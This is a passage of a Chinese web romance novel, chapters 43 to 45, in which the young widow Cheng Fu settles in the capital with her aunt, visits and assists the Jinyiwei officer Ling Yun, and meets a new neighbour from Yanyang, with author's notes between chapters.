小桃昨日就见过程芙,被其美貌震动,今儿离得如此近,又暗暗震动了几回,适才言语迟疑全因尚未习惯“奶奶”这个称呼。 然而太太吩咐过,不得喊错了。其中内情小桃略知个一二,因为程芙的男人死了,年纪轻轻便守了寡,并非未婚的少女。 小桃颇有种一颗红枣儿被鼠啃的遗憾。 对于奶奶这个称呼,程芙自己也愣了下,转而抿了笑:“小桃不必多礼,往后我在京师行走,就劳烦你照应了。” 小桃笑着福身:“奶奶客气了,奴婢服侍您洗漱。” 十四岁的小丫头,长得健康结实,手脚麻利,虽远不如受过特别训练的善解人意,却也有难得的憨厚。 早膳摆了满满一桌,全是程芙爱吃的澹州口味酱菜,另有京师的特色,萝丝饼、蛋黄酥、咸豆花、三丝锅贴、豆腐煲,林林总总十来样。 柳余琴:“傻孩子,只管敞开肚皮吃,咱们团聚的第一顿早食自该丰富些,好叫你适应一下京师的口味。” “嗯,姨母也吃。”程芙为姨母布了一块三丝锅贴,皮薄馅多,薄得都能瞧见里头红的白的黑的蔬菜丝儿。 她也咬了一口。 正常人家的三丝锅贴依据季节略有变化,多以木耳、红萝卜、白菜为主,程芙从前吃的三丝也如此,可是味道竟相差了天壤。 明明眼面前的用了相同的蔬菜,为何再也尝不出其中的鲜甜甘美?那是一种蔬菜本真的极致甘美,两相对比,宛如鱼目和珍珠。 逃亡途中饥一顿饱一顿,麻木的味蕾甚少作妖,此刻开始享福了,竟一遍又一遍地提醒着她,她娇气的食管暗暗地排斥如此丰盛的餐食。 话本子里贵族公子小姐初入民间,对民间各种美食大快朵颐,仿佛没见过似的,真的很假。怎可能呢,民间有的食物贵族都有,唯一的区别是贵人所食用的是食物所能达到的至臻鲜美本味,普通食材如何比拟? 尝过了贵人一盘简单的清蒸菘菜,其他菘菜便都不是菘菜了。 她为自己身体所作出的诚实反应感到羞愧和惊恐,却更大口地咀嚼三丝锅贴。 所谓习惯都是能纠正的,时间而已。 有这种反应不丢人,换谁都一样,但习惯只是习惯,她相信自己假以时日便能修正。 因她本身就是个不怕吃苦的人,何况经后的生活一点儿也不苦。 “慢点儿吃,家里天天都有。”柳余琴怜爱道。孩子这一路不知遭了多少罪。 “好吃。”程芙咽下了一大口,展颜微笑。 柳余琴给程芙盛了一碗咸豆花,孩子看起来又饿又馋。 虽说凌大人急公好义,可到底是个光棍儿,哪晓得照顾女儿家,想来路上没给孩子吃几口热乎饭。 她心疼坏了却也不能责怪人家,毕竟人家把她的阿芙全须全尾带回了京师,光是这份恩义,就是她一辈子的恩公了。 用罢早膳,柳余琴便与阿芙说起接下来的计划:“这几日我要带你四处逛逛,让左邻右舍认一认人,一来熟悉京师,将来好安身立命;二来顺便置办贽礼,选个方便的日子一起拜访凌府。” 熟悉京师,程芙没意见,拜访凌府就不必了吧。她偷瞄姨母一眼,满脸热情,神采奕奕,可见是打心眼喜欢凌云。 那么她该如何委婉地告诉姨母凌云是锦衣卫呢? 毕竟她们是小门小户的,还是少跟是非祸端接触为妙。 “姨母,我又不是白白请他帮忙的,您不也听他说廿三还要请我去衙门助他寻人,再一个,他收了我三十两黄金,银货两讫,谁也不该谁的。”程芙柔声道,“您真的不用太把他当回事了……” 柳余琴眉头一拧,责备道:“你这孩子,怎地斤斤计较起来,三十两黄金本就该他拿呀。你也不想想吃喝住行十七日拢共花了多少,再加上镖师费,也差不多这些价格了。” 她瞪了眼欲言又止的程芙,“最要紧的是你活着!他给你保活了,也没有趁着孤男寡女的机会轻-薄你,收你三十两真的很良心啊。” 程芙无言以对,轻不轻薄的她难以启齿,况且凌云警告过她,如若胡说八道,他就发狠来真的,到时她可就自讨苦果了。 不能说便抿紧唇,低头听姨母数落。 待姨母数落完做人的道理,她才瓮声瓮气道:“姨母,您误会了,我倒也不是计较他收了我的金子,我是……是怕。” “怕啥?” 程芙抬头小心翼翼环顾一圈,压着嗓音道:“他是北镇抚司的人,官儿还不小,锦衣卫!” 说着在纤细的脖颈上抹了一下。 柳余琴果然瑟缩了,表情有惊讶也有忧虑,转而又恢复了镇定,“锦衣卫便锦衣卫呗,别看外头骂的凶,背后想跟他们攀关系的不计其数。就连安国公夫人在街上遇到了,都会温言细语问声好,拉拉家常。咱们两个在外行走,话里话外透露认识这么个大人物,你信不信旁人都得敬着咱们?” 程芙:“……” 良久之后,她叹了口气,语重心长道:“大树底下再好乘凉也不如平平安安,且不说他允不允许咱们狐假虎威,时间长了总会露馅,还不够丢人的。”她坐过去,抱着柳余琴胳膊娇声唤着,“姨母——” 柳余琴无奈,只得道:“我心里有数,可就算要划清界限,该有的礼数也不能废。咱们先登门拜谢,把事情办漂亮了,然后悄-咪-咪疏远,既尽到了本分也不把人得罪。” “有道理。” “而且贵人多忘事,将来人家也不定记得咱们。” 一通分析下来,果然姜还是老的辣,姨母办事就是比自己圆融。程芙心服口服。 娘俩一拍即合。 拜帖次早送到了凌云手中。 他正在穿衣,单手扣着腰带,另一手执拜帖,扫阅一眼,本想找个借口推了,谁知开口又迟疑了,长随眨巴着眼睛静候他示下。 凌云:“你回柳家太太我明日辰时有空。” 长随:“是,大人。” 辰时相当微妙,接待的同时也避免了留饭。 凌府没有长辈,柳余琴和程芙又是妇道人家,尤其程芙的年纪,留饭难免招惹非议,少不得要给人一种旖旎的想象。 生活回归正轨的凌云夜里不再有焦-渴和碰撞的冲动,渐渐把程芙放下了。他有自己的事情忙,无法接受满脑子想女人的自己,那样真的很蠢。 可他为何还是应了明日的拜访? 凌云想到了原因:为了原数返还她偷偷留下的三十两黄金。 小丫头片子一个,手里没几个钱,非要跟他客气,将来吃不好穿不好,受了委屈,再来缠着他多麻烦。 必须把金子还回去。 合情合理,他自洽一笑,冷不丁发现支摘窗下一只猫儿正瞪着他。 视线将将一接触,猫儿扭头跳进了花丛。 短短两日,娘俩就把贽礼置办齐,程芙也对京师有了一个模糊的轮廓,至少走出去不是两眼一抹黑,万一找不着路也能说出家住哪条街哪个胡同,周围有啥标志性的店铺屋舍。 她和姨母住在西桥门市的双槐胡同,往东走两道街便是大昭都城权贵聚集地之一的前门大街,凌云家就住那儿。 再次低估了他的三进宅子的含金量,够程芙和姨母吃喝好几辈子了。 “寒门不都落魄了吗,他如何买得起……”人对超出认知的事物都有好奇心,程芙也不例外。 柳余琴:“靠他自己肯定不行,但那是他祖上的产业,贵着呢,有价无市。他母亲是范阳卢氏,论起来还是安国公夫人的本家,数百年的世家嫁出去的嫡女,便是瘦死的骆驼也比马大的。” 说着,她凑近了程芙低声道,“像他这样的寒门,你进去瞧着可能没啥特殊的,但墙上挂着的不起眼的一幅画或许都价值连城。从前那些金山银山,纵然嚯嚯没了,随便留一两样老物件也够吃老本的。” 程芙没懂姨母想要表达什么,眨了眨眼“哦”一声算作回应。 心道又误会了凌云,他确实不稀罕自己那三十两黄金,没有硬撑。 而后,她就没将此事放在心上,只想随姨母去寿善药馆见识一番。 柳余琴明白她的心意:“我已托人留意太医署的动静,但凡出现空缺,国公夫人定然先照顾咱们。寿善药馆就罢了,又不是官衙,没那么多规矩,万一叫人冲撞了你多不好。” 阿芙过去不亚于小羊羔子掉进了狼堆里,那一群血气方刚的年轻小伙,不得浑身哆嗦。 忙忙碌碌一日又翻过,凌云天不亮便入宫,正逢一群文武大臣从待漏院走出,他们瞧见锦衣卫皆侧目而视,暗暗发怵,由远及近的朱红锦衣,似浴血而归的恶鬼,燃烧烈烈火焰,衣摆下翻飞的墨蓝色里衬,便是那徐徐绽放的幽冥之花。 “晦气,大清早就遇见了北镇抚司的人。” “小声点,你瞧瞧他的玉带,品秩比你还高。” “……” 有人立刻转移话题,聊起今天的异常:“皇上怎么了这是?” 迟迟不肯上朝,已过了两刻钟。 消息一向灵通的御史嘀咕道:“正在景华殿发火,生了好大一通气……” “……?” “东宫那位执意要削藩,然而经过辉王一事,皇上的耳根子早已坚硬如铁,父子俩为此事争执了月余。” 一名大臣咂咂嘴:“正因为有辉王的教训,才更应该削藩。” 众人觑他一眼,不予置评。 此前提议把毅王召回京师军机营还算有理有据,没坚持几日就改成削藩,也太没个沉稳了。 皇上再老糊涂也瞧出太子的敌意,龙椅都还没坐上已然开始排除异己了。 召回军机营尚可考虑,可把阿诺的实权削了,这些没出息的东西定然狼扑虎啮,到那时谁还能为他镇住场面? 皇帝年纪大了,愈发依赖毅王的能力,而今看透了几个儿子的嘴脸,便也愈觉得嫡孙顺眼。 如此,他偏要给阿诺选一门如意亲事,门当户对,叫这群自私的东西敢怒不敢言。 当然,也掺了一点私心,把毅王从他们中间划拉开,大家互相掣肘,维持微妙的平衡。 老皇帝端坐景华殿,将太子骂得狗血淋头,随着一声怒斥“滚”,还飞出了一只砚屏。 凌云拾起地上的砚屏,朝狼狈的太子躬身施礼,太子沉着脸拂袖而去。 双槐胡同里,柳家的下人卯正开始往门口的骡车搬运贽礼。 宽大结实的车厢和膘肥体健的骡子,不仅体面,还把柳家娘俩和贽礼完全容纳。 骡车的主人是胡同里的邻居刘氏,三十一二岁的年轻妇人,开一家脂粉铺子,只见她生得体态丰腴肤色白,樱唇未启笑先闻,浑身透着股精明强干,颇有些姿色。 柳余琴和刘氏婉声叙话,谢了又谢。 刘氏爽朗一笑:“远亲不如近邻,车子不就是拿来用的,我不外出闲着也是闲着,你们只管借去。”说罢,一双眼睛亮亮地端详程芙,欣然道,“好漂亮的神仙妹妹,哦不,我得是她姨了,好漂亮的孩子。” 是真绝色啊,不过十六七岁的年纪,肤如凝脂眉目如画,挽了最寻常的妇人髻,未施粉黛,不见一朵珠花,素得跟朵小茉莉似的。 这朵小茉莉头披豆绿色的轻纱幅巾,只在两鬓附近各坠了颗米粒大的珍珠。 旁人披幅巾看着就是人披了幅巾,小茉莉披幅巾却像云端里的观音,叫人见了眼眶生热。 刘氏难得失态,再三打量程芙。 程芙羞涩垂眸,给刘氏福个礼,“刘姨。” “欸,这孩子好娇,声音动听的嘞。”刘氏赞不绝口,心思活泛起来,即便是小寡妇,想来也有大把的人来求的。 昨儿个她就听说柳医女的外甥女来投亲,还听说那孩子年纪轻轻便守了寡,而今见到真人不禁唏嘘,也太年轻了些。 这般姿色……她想到了远房亲戚家的贵公子,心头大跳,感觉能成,绝对成! 骡车悠悠驶离,载着柳余琴和程芙一路向东,穿过两条街,直奔前门大街。 两个妇道人家登门拜访,翟妈妈招待,客客气气引进花厅,六扇花窗和八面槅扇大敞,里里外外敞亮。 男主人凌云一身常服走过来寒暄。 柳余琴嘴巧健谈,凌云也是个伶牙俐齿之徒,若非阿芙提前打过招呼,柳余琴很难将此人与凶名赫赫的锦衣卫联系。 两个能说会道的人凑一起,使得一场双方原打算简单应付的会晤变了味儿。 说个没完没了。 柳余琴笑哈哈打听凌云年纪,是否说过亲,有没有什么长远打算,就差直接问你要不要别干锦衣卫了? 凌云一一作答:“下半年满二十二,尚无成亲打算,仕途还算顺遂,多谢柳姨牵挂。” 程芙默默喝了一盏茶,十分不自在,只好朝姨母使眼色,提醒她该请辞了,无奈姨母侧坐未能准时接收,倒是被斜对面的凌云收到了。 他眼尾一挑,饶有兴味凝视她。 程芙吓得慌忙移开视线—— 作者有话说:月底啦,营养液再不投就过期了哦,还有存货的宝宝投投我吧~~[让我康康] 第44章 柳余琴的话语细究起来略有试探之嫌, 实则她就是纯粹“广撒网”。 眼面前的年轻郎君,人品相貌家底均乃可遇不可求,正常情况下阿芙定是接触不到这个层面的, 那不得先替阿芙把把关! 不过拿锦衣卫扯人品似乎过于勉强, 柳余琴不是不怕, 可先入为主, 加诸凌云行事本分守礼,下意识就没想太多。 无奈人家对阿芙根本没兴趣, 撂下“尚无成亲打算”这句话已然是明晃晃的拒绝了,再说下去便没意思了。 柳余琴心念电转, 凌云知悉阿芙的底细, 且都是不光彩的,诸如清河县兄弟阋墙、做毅王的玩物,虽说也知阿芙不得已, 可男人么,一旦察觉女人身上沾染是非,都会不自觉地嫌弃,便是因美色有几分怜惜也不会真心想娶。 遂敛神放下不该有的想法,她大大方方站起来,程芙见状,也跟着起身。 “大人公务繁忙, 耽搁这么久实在有愧, 我们娘俩便不多做叨扰。”说完再一福身,再三表谢。 程芙如释重负,也跟着福身。 凌云客套两句,自然不便挽留,起身相送。 登上车, 姨甥二人赫然发现几大箱贽礼皆被原数退回了,啊这…… 柳余琴推开窗子,“大人,您这是?” 凌云微微地笑:“我帮了一个小忙便收贽礼,那明日程姑娘再帮我,我岂不又得备下贽礼谢你们,送来送去何时休,柳姨便不要与我客套。” 话都说到了这个份上,厚礼也被人原封不动搬上了车,再说啥都于事无补,柳余琴只得告了句罪,讪笑着作辞而去。 但不管怎样,也算了结了一桩心事。 凌云眨也不眨凝望载着程芙的骡车消失在街道的拐角,浓郁黑睫轻闪。 他当然明白柳余琴的试探,只是程芙的享有权在毅王手中,毅王是否就此作罢,是否放过程芙,犹未可知。 在这一切之前,他若是急不可耐地把人占了,可就真与毅王不死不休了。 毅王耗得起,他耗不起。 他的人生不会为了女人放弃所有,家人、责任、理想,哪一样都比肉-体的欲-望有意义。 金子还给她了,愿她岁岁安康。 倘若东宫事成,毅王必将被召回京师削权圈禁,那时,她才算真正的自由。 或许,他也有那种机会…… 骡车哒哒哒穿过长街,白玉桥近在眼前,桥下碧波连天,灰粉色的残荷迎风摇曳,长出了厚实莲蓬,再有三五日-个大饱满的圆润莲子差不多上市,鲜甜甘美。 程芙眯眸长眺窗外景色,适才缓缓道:“姨母——” “我知道失礼了。”柳余琴早已懊悔,“在凌大人跟前问这问那,委实不妥。” 程芙笑了笑,“姨母一心为我,我怎敢怨怪姨母,倒是我瞻前顾后,闪烁其辞,未曾把事情据实相告,才累及您着了相。” 柳余琴:“……” 程芙:“凌大人正邪难辨,沉湎女色,绝非良配,阿芙可不敢选这种人托付终身。” “不能够吧,真如你所言……路上还能放过你?”柳余琴实话实说。 “没动我是因境况复杂,一来我非风尘女,当时也无避子汤,后续处理起来麻烦;二来我连毅王都看不上,也不可能看上他,便也没诱-哄的必要,若用强可能还会出人命,这才逃过一劫。”程芙拍了拍姨母的手,“且他在燕阳包了万春阁的花魁,日夜厮混,这样的人手里再多产业也迟早败光。” 柳余琴骇然色变,神情宛如吞了只苍蝇,只恨不得对那一刻贪心的自己甩个大耳瓜子。 她眼睛微微发涩,模糊了,晃着一层水雾看向阿芙。 程芙把姨母的双手捧在自己手心里,“姨母待我之心不亚于阿娘,可怜天下父母心,自是觉得我千好万好,合该配一个有钱有貌还有人品的官老爷,这没有错。” “我们不看轻自己更没有错。”她说,“然则世道不是我们说了算,我们决定不了旁人的想法。以我的条件攀上大户人家不难,难得的是有尊严。我程芙绝不将就,哪怕孤独一生,也会坚持等一个惜我敬我之人,我便与他举案齐眉过一生。” 所以一切就交给缘分吧,没必要看到个“好”的就眼巴巴凑上去。 她相信若真是自己的姻缘,纵使天涯相隔也能相知。 程芙:“等明儿我从衙门回来,就去街上逛逛,看看附近有无合适的铺子,先盘下来,将来不管收赁钱还是做点小本生意,都算咱们有个进项。” 此事柳余琴早就计划过,无奈买新宅已然掏空家底,一时不敢想铺子的事,如今阿芙手里有现成的金子,可不就是钱生钱的机会来了。 柳余琴:“就依你所言,我告了假,下月初三才去上工,这期间咱俩一起逛,若无合适的也不用急,攒攒将来兴许直接买座田庄。” 程芙莞尔。 二十两金买田庄不啻痴人说梦,但总归是个盼头。 两人的手握得紧紧的。 她们是拴在一根绳上的血亲,都只有彼此,自不会分什么你的我的,柳余琴的一切百年之后都是程芙的,程芙的金子她也会拿来合理筹谋,该用则用。 为的都是这个家,为以后更美好的日子。 回到家,二人发现带回来的贽礼中多出三十两黄金。 不由面面相觑。 安静了片刻,柳余琴爽朗道:“既然如此,可不算咱们不知礼数,再推让下去反倒黏黏糊糊的,咱们笑纳便是。” 程芙笑笑,与姨母把贽礼分门别类登记造册,收入库房。 一夜好梦,光阴祥和。 清早起身,柳余琴趴在窗口观察日头,明晃晃地悬在当空,一丝风儿也无,便对阿芙道:“还没到小暑呢,瞧着似乎要炎热起来,你今儿还要走一遭衙门,戴个幂篱吧,遮阳又挡脸。” 程芙应了一声,“是。您在家莫要贪凉,我去去便回。” 小桃服侍程芙梳了最简单的发髻,换上檀色细布交领衫,月白的花草纹百迭裙,最后戴一顶竹篾编的幂篱,拉下半透明的绢纱帘儿,整个人素淡的仿佛要隐入烟尘,偏偏半遮半掩的婀娜体态更显风情了,不盈一握的软-腰,若隐若现轻纱里,似真似幻。 柳余琴完全可以建议程芙换上不显腰身的齐胸襦裙,想了想又放弃了,若连正正经经穿个衣裳都要受人觊觎,那只能说明觊觎她之人本身就不安好心。 只有千日做贼的,哪有千日防贼的。 马嫂子站在帘子外通禀:“太太,奶奶,凌大人到了,说是顺路接奶奶过去。” 省了柳余琴再去刘氏那里借车的麻烦。 柳余琴叮嘱程芙几句,亲自将她送上车,复又对凌云笑道:“那就麻烦凌大人了,我家阿芙还不认得路呢……” 凌云:“我会亲自送她回来。” “哈哈,那挺好。”柳余琴说,“要不要小桃跟过去,好服侍你们……” “北镇抚司,衙门重地,不相干的人还是不去为妙。”凌云笑了笑。 柳余琴和程芙的脸同时绷裂开,战战兢兢一齐注视着他。 小桃立时躲进屋里。 凌云打个响指,马车即刻飞跑起来。 “我这也没犯法吧?”程芙觑着他。 “谁说去北镇抚司就是犯了法?”他拧眉看她。 程芙:“……” 在她的认知中——北镇抚司应是黑洞洞的牢狱,矗立着密密麻麻的铁笼,铁笼绑着儿臂粗的铁链,青面獠牙的缇骑,佩戴散发血腥味的刀剑,阴森森巡逻。 未料事实与想象恰恰相反,到了地方,抬头一凝,两扇黑漆漆的大门与其他府衙并无二致,走进去别有洞天,头顶浓荫蔽日,周遭花木丛萃,寂若无人,堂前甚至还有一架葡萄,绿油油的叶子在微风里婆娑,清香怡人。 程芙牢记姨母叮嘱,一路双手虚虚叠在小腹前,身不摇肩不晃,稳稳重重跟在凌云身后,他走她就走,他停她也停,遇到人便微微垂首。 别人最多好奇扫一眼戴着幂篱的女人,朝凌云问候一声,各自忙去。 走过一处穿堂,穿过花厅,进了第三层院落,凌云道:“随我上楼,小心阶梯。” 她“嗯”了一声,款步提衣,每一步都扎扎实实落稳当,凌云站在楼梯口,静静望着她。 楼上的廨所坐着位宫廷画师,胡须发白,清瘦的身形披着宽袖大衫,颇有几分仙风道骨。 凌云抱拳:“宋画师。” 宋画师略一弯身:“凌大人。” 双方简单寒暄两句,便邀程芙落座,不必多做介绍,宋画师知晓程芙乃提供当年线索之人。 程芙轻轻撩起纱帘,露出一张芙蓉面,静坐。 书童研墨铺纸,两厢直奔主题。 不用她搜罗记忆,宋画师以提问的方式展开,她只需根据画师的问题诚实回答即可,偶尔答得不全面,画师便停下来循循善诱,勾出她脑海深处的回忆。 此种精妙,实乃平生罕见,程芙心头忽闪,屏气敛神,唯恐说不好出了差池,惹凌云翻脸。 好在整个过程还算顺利,不曾让在场的两位大人为难。 宋画师半眯着眼写写画画,喃喃道:“观此人骨相乃地道的北方人,或许就是本地人。” 程芙:“我已告知了凌大人,那人一口标准的官话。” 时下的官话便是京师方言,讲得那般标准多半就是本地人。 她又补充了一句:“那人看着粗糙,实则还挺温和,与阿窈的乳母像是旧识,三个人神情都很放松。” 程芙直觉此人并非奸恶之徒。 时间久远,凌云一时半会也不大可能了解阿窈乳母认识的每一个人,但他约莫有了些方向,抬眸见程芙一张小脸微微发红,细嫩的鼻尖覆了层盈盈汗珠。 凌云:“画好没?” 宋画师吹了吹宣纸:“刚好,待老夫回去稍稍润色,最迟明晚给你。” 凌云起身抱拳作揖,深深拜谢,“改日凌某再携梨春白到您府上拜访。” 一听有梨春白,宋画师高兴得像个老小孩,感觉做什么都值了,笑道:“那我可就在家里等着你了。” 离开时,程芙心里想,可算把欠的账都还清了,此后应是不必再有交集,不由吁了口气。 凌云站在楼梯口下方,不动声色扶了她一把,“为何叹气?” 是吁了口气不是叹气。程芙:“里面热。” 凌云:“我知道。” 送她回家的途中,他下车了一会儿,再上来时递给她一碗晶莹剔透的好吃的,宛如水晶冰块儿,一戳竟是弹弹的,泡在又香又甜的冰水中,撒了蜜豆、西瓜、蜜瓜、果脯,煞是好看。 吃一口,冰冰凉凉滑滑的。 程芙:“这是什么?” 凌云:“石花糕粉,闽南那边流行过来的甜品,京师的女孩子都喜欢。” 果真是有经验,程芙做为澹州的女孩子也很喜欢。 “这是我圆满完成任务的酬劳吧?”她呵呵笑着,一叠声道谢。 “嗯。” 凌云不再看她,扭头视线投向了窗外。 她低头专心吃冰碗。 柳余琴在家门口焦急等待,甫一听见马车轮毂声,腾的跳起来,打开了大门,果然是阿芙,齐头整脸地。 凌云看着程芙下了车,对柳余琴点头致意,而后默然离开了。 走了一程,他向后仰靠车围子,未曾想有人在前面的路口守候他多时。 那人拦马上车,挑帘一步跨了进来,大马金刀坐于对面,脸上没有一丝儿表情,泥塑的人儿似的。 凌云:“金大人,别来无恙。” 他慢慢坐直了身体。 金修茗撩起眼皮直视他,“凌大人,你说你做的这叫什么事,王爷便是再好性儿,此番也不能饶你了。” “我是皇上的人,王爷不是早就知道。” “王爷不在乎你是谁的人,留着你能让皇上安心,皆大欢喜。”金修茗说,“可你插手王爷的家事所为何?” 凌云:“……” “凌榆白。”金修茗沉吟片刻,道,“改个名儿来燕阳唱的好一出大戏。” “你误会了,我真叫凌榆白,字榆白。” “我管你叫什么。”金修茗冷笑,“今儿我应是取不了你小命,且等着吧,封曲马上来京调理你。” 他起身微微弯腰,抬手拍了拍凌云的脸颊,力道不大,落下去却是一道道红印。 伤害不大,侮辱性极强。 小白脸的皮子就是嫩,也不看看自己什么身份,胆敢觊觎王爷的女人。 凌云沉静如水,黑眸闪了下。 “是了,你没碰程姑娘吧?”金修茗牵起一边的嘴角笑,“没碰的话,王爷兴许允你死时做个完整的男人。” 哈。 凌云垂眸笑了声,心底凉如冰,声音里长出尖刺:“毅王好威风,还有空跟我争风吃醋。帮我回禀他句话,女人宁愿跟陌生的我走都不留在他身边,这得多不行啊。” 金修茗:“……?” 凌云挑了挑眉,“不会真不行吧?” 金修茗的唇抿成一条线,指了指凌云脑门,而后不再与其呈口舌之争,扭身离开了车厢。 小暑一过,京师的天儿益发火热毒辣,好在街道两旁的游廊连着游廊,形成了京师独有的街市风景。 游廊中的行人无惧日晒雨淋,照常逛着一家家琳琅满目的店铺。 程芙和姨母挑挑拣拣十来日,心仪的铺面倒是好几家,一问价格登时心灰意冷,有的贵得离谱,有的还不愿出售。 价格合心意的又总有这样那样的问题,若非刘氏帮忙掌眼,娘俩险些被人骗了。 奸人隐瞒铺子里曾发生过人命案,一个劲劝不精于此道的她们下定金。 地段好,价格低廉,陈设也气派,谁看了能不心动? 这点小猫腻瞒不过刘氏,她是个见多识广的,又有门道,托人查了三天便知内情。 柳余琴和程芙别提多感动了,邀刘氏去最好的酒楼定下雅间,开开心心吃了顿饭。 日子就在小小的磕绊,小小的幸福里,充满希望地流逝。 六月初太医署传来好消息,五名连续三次考核不及格的医员被辞退,意味着所有注册备召的医女们又有了机会。 消息第一时间就传进了柳家,不是柳余琴面子大,而是安国公夫人面子大,太医署的人这么做就等于卖了安国公府一个好。 如若程芙将来供职,太医署的人也会稍微照拂,前提是她得靠自己考中。 毕竟杏林考核做不得假。 柳余琴完全不担心这点,对自己和阿芙充满了信心。 程芙捧起《医宗金鉴》,严阵以待,沉下心投入到自己的事情里,从前的一切似乎离她越来越远了。 与她有点莫名纠葛,有点若有似无暧昧,眼神闪烁的凌云再也没有出现过。 大家相隔两条街,井水不犯河水。 而她的梦里也渐渐不再有崔令瞻的身影,他的气息、声音、体温、力道越来越模糊,恍如隔世。 忙于考核的她也很少再想起这个人了。 直到平静如水的日子里忽然搬来了新邻居。 新邻居一家操着淡淡的燕阳口音浩浩荡荡搬来双槐胡同,成了柳家姨甥的左邻。 那日刚过七夕,七月初八,立过了秋,尚未卯正,天儿还算凉爽,双槐胡同人来人往,大家向新邻居贺喜。 此等燕贺德邻之事,柳余琴和程芙自然也要尽到礼数,备下贽礼,欢欢喜喜吃席去了。 双槐胡同最大的宅院当属新邻居的家,足有三进,原是祖上大富大贵过的秀才的,没人清楚他为何卖了祖宅。 按说不该啊,无病无灾的,也没听说缺钱。 大家难免有些意难平,毕竟平日里相处都还不错,怎能招呼不打一声就消失…… 那么好的宅院也就此易了主。 尽管百思不得其解,但大家伙也没有纠结太久,很快与新邻居打成了一片。 新邻居姓杨,家主从商,相当忙碌,不仅忙还神秘,从头至尾就没露过面,搬来半个月无人知他长啥样,唯有热情洋溢的杨氏出来招待街坊。 杨氏和柳余琴一见如故,投缘的不得了,两人一来二去关系好得就差义结金兰了。 今儿你请我,明儿我请你的。 程芙也不讨厌杨氏,可一听见他们家淡淡的燕阳口音就莫名心惊肉跳,变得郁郁寡欢,如此便益发闷在家中读书,不愿抛头露面。 杨家来人请柳余琴和程芙前去吃酒,三次有两次都被程芙温温柔柔推掉了。 程芙也不在乎落下个性格孤僻难相处的印象。 未料杨氏一点儿也不介意她这个内向不亲人的性子,反倒夸她文静贤淑,待她和蔼如故,照旧三不五时送些稀奇点心予她吃。 因男人在漕运司有熟人,杨家富得流油,各种见都没见过的新鲜玩意层出不穷。 没有人不喜欢别人待自己好,尤其对方还是个性格投缘之人,柳余琴自不例外,面对出手大方,性格开朗,有事没事缠着自己逛街市逛庙会的姐妹,她心里早就乐开了花。 然而柳家姨甥到底不是俗人,人情来往互相送些稀罕吃食无伤大雅,绫罗绸缎等贵重物品,她们断然不收的。 杨氏也不好硬送。 这日杨氏带了些水果茶点前来柳家蹭饭吃。 她对柳余琴笑吟吟道:“我初来乍到,在京师也不认识什么人,实在孤苦无聊,还望妹妹莫要嫌我粘人。” 柳余琴:“姐姐说哪里的客套话,你我二人可是邻居啊,常言道远亲不如近邻,大家本就该相互照应。”说着,把脸故意一板,半真半假道,“既是好邻居,下回可不许再带礼物,否则咱俩就要生分了。” 杨氏连忙告罪,保证下回空着手。 两人说说笑笑,杨氏转而问:“怎不见阿芙?这孩子上回还咳嗽了两声,可有好转?” “早就好啦。”柳余琴说,“莫要忘了我和她可是现成的医女,两碗土方下去,活蹦乱跳。” 杨氏松了口气,又道:“这孩子天天闷在家里可不好,连个庙会也不逛。” 她担心把人闷出病。 柳余琴满不在乎道:“她专心备考呢,不像我心大,中不中的随缘。” “真是个勤奋的孩子。”杨氏夸赞道。 柳余琴:“那确实是。” 她笑眯眯的,眼神里满满都是慈爱与骄傲。杨氏夸阿芙,就等于夸到了她心坎儿。 如今关系热切,做为长辈,杨氏关心小辈倒也不突兀,她问:“我见阿芙梳了妇人头,怎从未见过她的男人?” 一句话把周围问沉默了。 柳余琴语窒,好一会儿才暗暗咬了牙,道:“死啦,短命鬼一个,白白糟-蹋了我这如花似玉的娇娇儿。” 听此一说,杨氏嘴角抽抽,半晌才硬挤出一抹讪笑,“呃,哈哈,妹妹说话好生吓人。”—— 作者有话说:小崔:[问号] 阿芙:[愤怒] 小凌:[白眼] 小徐:好妹妹,我要中举啦,马上来京师准备明年会试呢,考个探花郎娶你[垂耳兔头] 第45章 话一出口, 柳余琴自知突兀了,幽怨语气听着怎么都不像外甥女死了男人,倒像她在咒骂外甥女婿。 “嗐, 我家阿芙这般美貌, 又是鲜花的年纪, 摊上这等事可不都怨男人走得早。”她揩揩尚无泪花的眼角, “孩子叫你一声杨姨,你若有机缘千万帮我们掌掌眼, 不拘什么大富大贵,只要人品正派衣食无忧即可, 当然相貌也得说得过去, 毕竟我家阿芙姿容极佳。” 这话杨氏怎敢随便应承,眼珠转了转,笑呵呵道:“那我自是义不容辞。我倒还真知道个年轻后生, 满京城都没有他俊得嘞,要不……改日让他们见上一见?” 光俊也不能当饭吃啊。涉及阿芙的人生,柳余琴焉能马虎,神情认真道:“人品和家底呢?” “阿芙既喊了我声姨,我自然得保证那后生人品家世贵不可言。”杨氏信心十足。 做媒的都有个通病,尽量把人往好处夸,她这番话, 柳余琴确实意动可也没全信, 先瞧瞧再说。 每句砍掉七成,估摸着人最差也不难看,不穷,至于人品——待定。 柳余琴:“那就央烦她杨姨了。来,摆饭了, 咱们姐妹喝一盅。” 二人执手眉开眼笑进了西次间。 明间安静片刻,而后传来婢女冬芹、小桃和厨娘米嫂子摆膳的脚步声。 与明间仅一门之隔的东次间里,程芙维持着一个将要推门外出又顿住的动作。 默默听着姨母和杨氏说笑,淡淡的燕阳腔调刮擦耳膜,渐觉磅礴,似有摇山振岳的气势,撼动她扑扑心跳,让她不舒服。 这种不舒服极为隐秘,直到她们开始讨论那个“死掉”的男人,才开始显山露水。 她皱了眉,放弃外出的打算。 姨母和杨氏又开始商量为她做媒。 她的心没有任何波动。 程芙回到自己的寝卧,倚榻安静翻书。 她的寝卧很小,从姨母寝卧单独隔出的,乃民间极为常见的布局,人们根据功能自行划分区域,最大化地利用有限的空间。 就拿待客之地来说,根本没人讲究外人花厅、亲故正堂,举凡来家里做客的一概聚集明间。 西次间也被隔成了两间,一间用饭一间充作库房。 小桃把饭端进程芙的寝卧。 长辈们要吃酒说体己话,小辈上不上桌都不打紧的,所以柳余琴吩咐小桃把饭端阿芙屋里。 小桃:“奶奶歇会儿再念书吧。今儿的菜可好吃了呢,有小鸡炖鲜蘑、酱肘子、菠菜炒鸡蛋,还有一条鱼!” 听见鱼,程芙眼睛一亮。 她自小爱吃河鲜海鲜,然而京师的鱼虾极贵且不方便存放,通常都是十天半个月吃一顿打打牙祭。那些拥有田庄和鱼塘的人家另说。 其实西门桥市也有不少兜售新鲜鱼虾的摊子,只不过数量有限,往往眨眼功夫便被酒楼饭馆和士绅之家抢购一空。 总之住在城内的人,吃鱼挺不方便。 实在馋的话也可以去野外自己抓,可抓鱼哪有那么容易。程芙倒是会抓,无奈身份不便,哪家寡妇馋疯了才下河摸鱼,人生地不熟的她还是先收敛些为妙。 